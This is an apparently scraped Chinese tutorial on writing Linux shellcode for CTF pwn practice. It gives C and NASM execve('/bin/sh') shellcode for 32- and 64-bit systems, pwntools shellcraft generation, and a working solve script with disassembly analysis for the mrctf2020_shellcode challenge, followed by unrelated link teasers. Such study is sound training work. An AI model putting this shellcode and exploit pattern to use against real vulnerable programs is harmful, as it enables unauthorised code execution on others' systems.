shellcode编写
shellcode编写
shellcode是一段用于利用软件漏洞而执行的代码,通常使用机器语言编写,其目的往往是让攻击者获得目标机器的命令行shell而得名,其他有类似功能的代码也可以称为shellcode。
简单的shellcode
最简单的shellcode就是直接用C语言system函数来调用/bin/sh,代码如下:
# include <stdlib.h>
# include <unistd.h>
int main(void)
{
system("/bin/sh");
return 0;
}
编译上述代码生成可执行文件,运行可执行文件便可以获得机器的shell。
上面是用C语言写的,用汇编语言也可以实现。具体思路就是设置好各个寄存器的值,然后触发内中断,执行系统调用。
这里简单介绍一下中断,补充一下背景知识。
对于任何一个通用的CPU,都具备一种能力,可以在执行完当前正在执行的指令之后,检测到从CPU外部发送过来的(外中断)或CPU内部产生的(内中断)一种特殊信息,并且可以立即对所接收到的信息进行处理。这种特殊的信息被称为“中断信息”。中断的意思是指CPU不再接着刚执行完的指令向下执行,而是去处理这个特殊信息。
CPU的内中断有四种情况:(1)除法错误;(2)单步执行;(3)执行into指令;(4)执行int指令。
int指令的格式为:int n,n为中断类型码。CPU执行int n,相当于引发一个n号中断的过程。int 0x80表示引发0x80号中断,而0x80号中断就是系统调用,具体是哪个系统调用,就看寄存器EAX的值,这个值就是系统调用编号。在32位程序中,execve对应的系统调用编号是0xb;在64位程序中,execve对应的系统调用编号是0x3b。关于中断的详细信息可以查阅王爽老师的《汇编语言》,关于系统调用的详细信息可以参考你真的知道什么是系统调用吗?和操作系统(linux0.11)的系统调用。
32位的shellcode命名为shell32.asm,需要:(1)设置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80触发中断。
global _start
_start:
push "/sh"
push "/bin"
mov ebx, esp ;;ebx="/bin/sh"
xor edx, edx ;;edx=0
xor ecx, ecx ;;ecx=0
mov al, 0xb ;;设置al=0xb,对应系统调用execve
int 0x80
用命令nasm -f elf32 shell32.asm -o shell32.o编译得到shell32.o,用命令ld -m elf_i386 shell32.o -o shell32链接得到shell32,运行即可使用shell。
64位的shellcode命名为shell64.asm,需要:(1)设置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 进行系统调用。注意,64位不再用int 0x80触发中断,而是直接用syscall进行系统调用。
global _start
_start:
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
用命令nasm -f elf64 shell64.asm -o shell64.o编译得到shell64.o,用命令ld -m x86_64 shell64.o -o shell64链接得到shell64,运行即可使用shell。
用pwntools快速生成shellcode
在pwn工具准备一文中介绍了pwntools的安装,这是一个python的包,也是解决pwn题强有力的武器。
生成32位shellcode的python代码:
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())
生成64位shellcode的python代码:
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
context用来设置运行时全局变量,比如体系结构、操作系统等。
shellcraft用来生成指定体系结构和操作系统下的shellcode,如果没有在context设置全局运行时变量,还可以将shellcraft.sh()完整写成shellcraft.i386.linux.sh()。
asm用来生成汇编和反汇编代码,体系结构、操作系统等参数可以通过context来设定,也可以在asm中参数的形式设定。上面的代码如果没有asm()也可以得到正常的结果,但是会显式的直接写出\n,而不是将其识别为换行。
运行上面的python代码就可以生成指定的shellcode。
shellcode实战
看一道简单的题mrctf2020_shellcode,首先用checksec mrctf2020_shellcode查看一下格式和保护,结果表明这是一个64位的程序,没有开启栈溢出保护和NX保护,有可读可写可执行的栈。

然后用sudo chmod +x mrctf2020_shellcode添加可执行权限,执行一下看看情况。
接着将程序拖到IDA Pro 64位中,或者用gdb调试,得到的汇编代码如下:
0x555555555159 <main+4> sub rsp, 0x410
0x555555555160 <main+11> mov rax, qword ptr [rip + 0x2ec9] <stdin@@GLIBC_2.2.5>
0x555555555167 <main+18> mov esi, 0
0x55555555516c <main+23> mov rdi, rax
0x55555555516f <main+26> call setbuf@plt <setbuf@plt>
0x555555555174 <main+31> mov rax, qword ptr [rip + 0x2ea5] <stdout@@GLIBC_2.2.5>
0x55555555517b <main+38> mov esi, 0
0x555555555180 <main+43> mov rdi, rax
0x555555555183 <main+46> call setbuf@plt <setbuf@plt>
0x555555555188 <main+51> mov rax, qword ptr [rip + 0x2eb1] <stderr@@GLIBC_2.2.5>
0x55555555518f <main+58> mov esi, 0
0x555555555194 <main+63> mov rdi, rax
0x555555555197 <main+66> call setbuf@plt <setbuf@plt>
0x55555555519c <main+71> lea rdi, [rip + 0xe61]
0x5555555551a3 <main+78> call puts@plt <puts@plt>
0x5555555551a8 <main+83> lea rax, [rbp - 0x410]
0x5555555551af <main+90> mov edx, 0x400
0x5555555551b4 <main+95> mov rsi, rax
0x5555555551b7 <main+98> mov edi, 0
0x5555555551bc <main+103> mov eax, 0
0x5555555551c1 <main+108> call read@plt <read@plt>
0x5555555551c6 <main+113> mov dword ptr [rbp - 4], eax
0x5555555551c9 <main+116> cmp dword ptr [rbp - 4], 0
0x5555555551cd <main+120> jg main+129 <main+129>
0x5555555551d6 <main+129> lea rax, [rbp - 0x410]
0x5555555551dd <main+136> call rax
0x5555555551df <main+138> mov eax, 0
这段代码比较简单,可以直接分析一下。首先是sub rsp, 0x410是为局部变量开辟空间,接着依次调用了stdin、stdout、stderr,然后调用puts在屏幕上打印Show me your magic!。重点是接下来的部分,可以看到调用了read函数,该函数有三个参数,第一个参数表示要读的信息的来源,第二个参数表示存放读入信息的缓冲区,第三个参数表示读的信息的字节数。在C语言函数调用栈中介绍了64位程序中函数调用优先使用寄存器传参,所以edx传入的是第三个参数,rsi传入的是第二个参数,edi传入的第一个参数,表明要读入0x400个字节的数据,存放数据的缓冲区地址是rbp-0x410,从标准输入中读取数据,函数调用的返回值存放在eax寄存器中,read函数的返回值是实际读取的字节数,所以接下来的语句是将实际读取的字节数存入rbp-4的位置,将这个值与0比较,如果大于0(即实际读取的字节数大于0),则跳转到<main+129>的地方执行,将rbp-0x410的值传给rax,然后call rax意味着以rax寄存器存放值为地址,跳转到该处执行接下来的指令。实际上,rbp-0x410就是read函数缓冲区开始的地方,换句话说,这个程序的作用就是将read读取的数据当成指令来执行,如果向程序输入的数据是获取shell的指令,那么我们就可以获取shell了。我们可以用pwntools来构建shellcode,然后发送给程序。
from pwn import *
context(os = 'linux',arch = 'amd64') # checksec告诉我们这是64位程序
p = process('./mrctf2020_shellcode') # 启动进程
shellcode = shellcraft.sh() # 生成shellcode
payload = asm(shellcode) # 构建payload
p.send(payload) # 向进程发送payload
# gdb.attach(p) # 在新终端中用gdb调试进程
p.interactive() # 与进程交互
参考资料
星盟安全团队课程:https://www.bilibili.com/video/BV1Uv411j7fr
CTF竞赛权威指南(Pwn篇)(杨超 编著,吴石 eee战队 审校,电子工业出版社)
汇编语言(第3版)(王爽 著,清华大学出版社)
pwntools官方文档:http://docs.pwntools.com/en/latest/
shellcode编写的更多相关文章
- 二、Windows 下 ShellCode 编写初步
第二章.Windows 下 ShellCode 编写初步 (一)shellcode 定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进 ...
- PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例
下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...
- 简单shellcode编写
0x00 介绍 Shellcode 是指经过精心设计的一串指令,一旦注入正在运行的应用程序中即可运行,常用于栈和基于堆的溢出.术语Shellcode意思指的便是用于启动一个命令Shell的已编写好的可 ...
- 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!
零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...
- 缓冲区溢出利用与ShellCode编写
一.实验目的 熟悉编写shellCode的流程 掌握缓冲区溢出的利用 二.实验环境 系统环境:Windows环境 软件环境:C++ ,缓冲区溢出文件链接 三.实验原理 要实施一次有效的缓冲区溢出攻击, ...
- Linux下shellcode的编写
Linux下shellcode的编写 来源 https://xz.aliyun.com/t/2052 EdvisonV / 2018-02-14 22:00:42 / 浏览数 6638 技术文章 技 ...
- 编写X86的ShellCode
ShellCode 定义 ShellCode是不依赖环境,放到任何地方都能够执行的机器码 编写ShellCode的方式有两种,分别是用编程语言编写或者用ShellCode生成器自动生成 ShellCo ...
- 【笔记】shellcode相关整理
0x01:shellcode定义 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为数据发送给受攻击服务器 ...
- Shellcode入门
Shellcode入门 一.shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为 ...
随机推荐
- Canvas 制作海报
HTML <template> <view class="content"> <view class="flex_row_c_c mod ...
- 自己给idea下载Scala插件
场景:有时候在idea上直接下载的scala可能因为太新所以有bug,需要手动下载插件 经验:自己下载完之后发现比较老的版本idea根本不让你装,只能装一些跟idea上推荐的scala相近的版本,感觉 ...
- 搭建 LNMP 环境
搭建 LNMP 环境 搭建 Nginx 静态服务器 安装 Nginx 使用 yum 安装 Nginx: yum install nginx -y 修改 /etc/nginx/conf.d/defaul ...
- python---复杂度、斐波那切数列、汉诺塔
时间复杂度 用来估计算法运行时间的一个式子. 一般来说, 时间复杂度高的算法比复杂度低的算法慢. 常见的时间复杂度: O(1) < O(logn) < O(n) < O( ...
- oracle system,sys用户 忘记密码,怎么修改密码
sys用户是Oracle中权限最高的用户,而system是一个用于数据库管理的用户.在数据库安装完之后,应立即修改sys,system这两个用户的密码,以保证数据库的安全.但是我们有时候会遗忘密码或者 ...
- i.MX rt 系列微控制器的学习记录
杂记 前言 我总是很希望自己能产生一种感知电压变化的能力,就像B站上的教学动图中,电流从电源流出时导线就像LED亮起来一样,我将指尖触到导线上就能感受到实时的电压变化.我在上学和工作时经常由于无法理解 ...
- c#中判断类是否继承于泛型基类
在c#中,有时候我们会编写类似这样的代码: public class a<T> { //具体类的实现 } public class b : a<string>{} 如果b继承a ...
- JavaScript学习③
3. 属性: PI 6. Number 7. String 8. RegExp:正则表达式对象 1. 正则表达式:定义字符串的组成规则. 1. 单个字符:[] 如: [a] [ab] [a-zA-Z0 ...
- IDEA Debug过程中使用Drop Frame或Reset Frame实现操作回退
大家在Debug程序的时候,是否遇到过因为"下一步"按太快,而导致跳过了想要深入分析的那段代码?是不是很想要有"回到上一步"这样的操作呢? 在IDEA中就提供了 ...
- 关于在PyCharm中import numpy 出现from . import _mklinit ImportError: DLL load failed: 找不到指定模块
最近因为一些原因安装了Anaconda3并且重新配置Python环境,但是遇到了一些麻烦的事情. 首先就是在Anaconda已经装好numpy和mkl的情况下,在PyCharm中import nump ...